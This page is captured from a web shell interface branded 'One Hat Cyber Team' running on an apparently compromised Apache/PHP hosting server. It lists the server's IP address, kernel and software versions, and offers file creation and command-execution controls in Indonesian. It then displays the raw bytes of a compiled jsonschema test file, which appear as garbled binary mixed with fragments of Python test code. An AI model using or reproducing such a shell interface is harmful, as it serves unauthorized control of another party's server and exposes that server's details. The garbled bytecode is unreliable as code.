⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.59
Server IP:
97.74.87.16
Server:
Linux 16.87.74.97.host.secureserver.net 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
opt
/
nydus
/
ops
/
jsonschema
/
tests
/
__pycache__
/
View File Name :
test_validators.cpython-39.pyc
a ���g�W � @ s4 d dl mZ d dlmZmZ d dlmZ d dlmZ d dl m Z d dlmZ d dl mZmZ d dlmZ d d lZd d lZd d lZd d lZd d lZd d lmZmZ d dlmZ d d lZd dlmZm Z m!Z!m"Z"m#Z# d d� Z$G dd� de�Z%G dd� de�Z&G dd� de�Z'G dd� d�Z(G dd� de(�Z)G dd� d�Z*G dd� de*e)e�Z+G dd� de*e)e�Z,G dd � d e)e�Z-G d!d"� d"e)e�Z.G d#d$� d$e)e�Z/G d%d&� d&e)e�Z0G d'd(� d(e�Z1G d)d*� d*e�Z2G d+d,� d,e�Z3G d-d.� d.e�Z4G d/d0� d0e�Z5G d1d2� d2e�Z6d3d4� Z7eG d5d6� d6��Z8eG d7d8� d8��Z9d S )9� )�annotations)�deque� namedtuple)�contextmanager)�Decimal)�BytesIO)�Any)�TestCase�mock)�pathname2urlN)�define�field)�DRAFT202012)� FormatChecker�TypeChecker� exceptions� protocols� validatorsc c s, |D ]"}|� dd� tjf i |��V qd S )N�messagezYou told me to fail!)� setdefaultr �ValidationError)� validator�errors�instance�schemaZeach� r �Q/opt/nydus/tmp/pip-target-mke_irhy/lib/python/jsonschema/tests/test_validators.py�fail s r c @ s� e Zd Zdd� Zdd� Zdd� Zdd� Zd d � Zdd� Zd d� Z dd� Z dd� Zdd� Zdd� Z dd� Zdd� Zdd� Zdd� Zdd � Zd!d"� Zd#d$� Zd%d&� Zd'd(� Zd)S )*�TestCreateAndExtendc C sh | � | jtjttj�� | � | jtjttj�� ddi| _dti| _t� | _ tj | j| j| j d�| _d S )N�$idzsome://meta/schemar )�meta_schemar �type_checker)� addCleanup�assertEqualr � _META_SCHEMAS�dict�_VALIDATORSr r r r! �create� Validator��selfr r r �setUp$ s$ �� �zTestCreateAndExtend.setUpc C s. | � | jj| jj| jjf| j| j| jf� d S �N)r# r( � VALIDATORS�META_SCHEMA�TYPE_CHECKERr r r! r) r r r � test_attrs9 s ���zTestCreateAndExtend.test_attrsc C s dg i}| � | �|�j|� d S )Nr )r# r( r �r* r r r r � test_initF s zTestCreateAndExtend.test_initc C s0 dg i}| � |�}t|�d��}| �|g � d S )Nr Zhello)r( �list�iter_errorsr# �r* r r r r r r �test_iter_errors_successfulJ s z/TestCreateAndExtend.test_iter_errors_successfulc C st dddigi}| � |�}tjdd|dddigtdg�d�}t|�d��}| �t|�d� | �|d �� |�� � d S )Nr r zWhoops!�goodbye)r r r �validator_value�schema_path� r ) r( r r r r3 r4 r# �lenZ _contents)r* r r Zexpected_errorr r r r �test_iter_errors_one_errorQ s � z.TestCreateAndExtend.test_iter_errors_one_errorc C sH dddiddd�ddigi}| � |�}t|�d��}| �t|�d � d S ) Nr r ZFirstzSecond!Zasdf)r r ZThirdr7 � )r( r3 r4 r# r; r5 r r r � test_iter_errors_multiple_errorsb s �� z4TestCreateAndExtend.test_iter_errors_multiple_errorsc C sR t jddidd�}| �t jjd� | �t jjd� | �|jd� | �|jd� d S )Nr � something� my version�r �versionZMyVersionValidator) r r'